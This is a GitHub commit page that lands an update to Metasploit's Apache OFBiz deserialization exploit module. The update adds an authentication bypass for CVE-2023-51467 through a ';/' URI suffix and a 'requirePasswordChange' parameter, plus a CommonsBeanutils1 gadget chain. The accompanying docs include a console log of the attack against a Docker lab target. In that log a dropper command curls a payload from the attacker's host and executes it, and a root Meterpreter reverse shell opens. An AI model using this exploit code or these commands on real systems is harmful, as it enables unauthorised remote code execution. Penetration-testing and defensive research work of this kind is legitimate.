Skip to content

Commit

Permalink
Land #18681, Update Apache Ofbiz w. Auth-Bypass
Browse files Browse the repository at this point in the history
This PR updates the pre-existing apache_ofbiz_deserialization
module to include functionality that will bypass authentication by
using the newly discovered CVE-2023-51467.
  • Loading branch information
jheysel-r7 committed Feb 16, 2024
2 parents 94f0d24 + 84278b8 commit a1b0ff0
Show file tree
Hide file tree
Showing 2 changed files with 135 additions and 17 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,25 @@

This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
versions prior to 17.12.04.
versions prior to 17.12.01 using the `ROME` gadget chain.

Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the `CommonsBeanutils1` gadget chain.

Verified working on 18.12.09, 17.12.01, and 15.12

### Setup

#### 15.12

You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.

1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`

#### 18.12.09

`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`

## Verification Steps

Expand All @@ -27,9 +38,11 @@ This executes a Unix command.

This uses a Linux dropper to execute code.

## Options

## Scenarios

### Apache OFBiz from [Docker](#setup).
### Apache OFBiz from [Docker](#setup) 15.12.

```
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
Expand Down Expand Up @@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

### Apache OFBiz from [Docker](#setup) 18.12.09.

```
[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization
[*] Using configured payload linux/x64/meterpreter_reverse_https
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080
rport => 8080
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999
srvport => 8999
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999
lport => 9999
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1
lhost => 172.17.0.1
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit
[*] Started HTTPS reverse handler on https://172.17.0.1:9999
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache OFBiz detected
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG
[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session...
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500
[*] Server stopped.
(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid
Server username: root
(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo
Computer : 172.17.0.2
OS : Debian 11.4 (Linux 6.5.0-kali3-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/usr/src/apache-ofbiz) >
```
86 changes: 72 additions & 14 deletions modules/exploits/linux/http/apache_ofbiz_deserialization.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,17 +20,26 @@ def initialize(info = {})
'Description' => %q{
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
versions prior to 17.12.04.
versions prior to 17.12.01 using the ROME gadget chain.
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the CommonsBeanutils1 gadget chain.
Verified working on 18.12.09, 17.12.01, and 15.12
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Exploit
'wvu', # Exploit
'h00die' # cve-2023-49070
],
'References' => [
['CVE', '2020-9496'],
['CVE', '2023-49070'], # auth bypass update
['CVE', '2023-51467'], # auth bypass update
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],
['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],
['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716']
['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'],
['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass
],
'DisclosureDate' => '2020-07-13', # Vendor release note
'License' => MSF_LICENSE,
Expand Down Expand Up @@ -76,26 +85,53 @@ def initialize(info = {})

register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
OptString.new('TARGETURI', [true, 'Base path', '/']),
])
end

# attempt to determine the version number. This attempt is flawed on versions
# < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page
# doesn't exist on versions < 17, so we just return back 'pre-17'
def version_from_login_page
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')
})
return nil if res.nil?
return 'pre-17' unless res.code == 200
# https://rubular.com/r/vputt9uJecevOk
if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}
return Regexp.last_match(1).strip
end

'unknown'
end

def check
# Send an empty serialized object
res = send_request_xmlrpc('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end
return CheckCode::Unknown('Target did not respond to check.') unless res

if res.body.include?('Failed to read result object: null')
@version = 'pre-17'
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

CheckCode::Safe('Target cannot deserialize arbitrary data.')
# newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz
@version = version_from_login_page

return CheckCode::Unknown('Target did not respond to check.') if @version.nil?
return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'

return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'
return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')

CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")
end

def exploit
@version = version_from_login_page if @version.nil?

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
Expand All @@ -109,10 +145,21 @@ def exploit
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
generate_java_deserialization_for_command('ROME', 'bash', cmd)
)
if @version == 'pre-17'
vprint_status('Utilizing ROME deserialization chain')
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 15.12, but not 18.12 compatible
generate_java_deserialization_for_command('ROME', 'bash', cmd)
)
else
vprint_status('Utilizing CommonsBeanutils1 deserialization chain')
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 18.12 compatible, but not 15.12 compatible
generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
)
end

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
Expand All @@ -124,7 +171,7 @@ def execute_command(cmd, _opts = {})
def send_request_xmlrpc(data)
# http://xmlrpc.com/
# https://ws.apache.org/xmlrpc/
send_request_cgi(
request = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),
'ctype' => 'text/xml',
Expand All @@ -148,7 +195,18 @@ def send_request_xmlrpc(data)
</params>
</methodCall>
XML
)
}

unless @version == 'pre-17'
request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/
request['vars_get'] = {
'USERNAME' => '',
'PASSWORD' => rand_text_alphanumeric(1..5),
'requirePasswordChange' => 'Y' # magic bypass string
}
end

send_request_cgi(request)
end

end

0 comments on commit a1b0ff0

Please sign in to comment.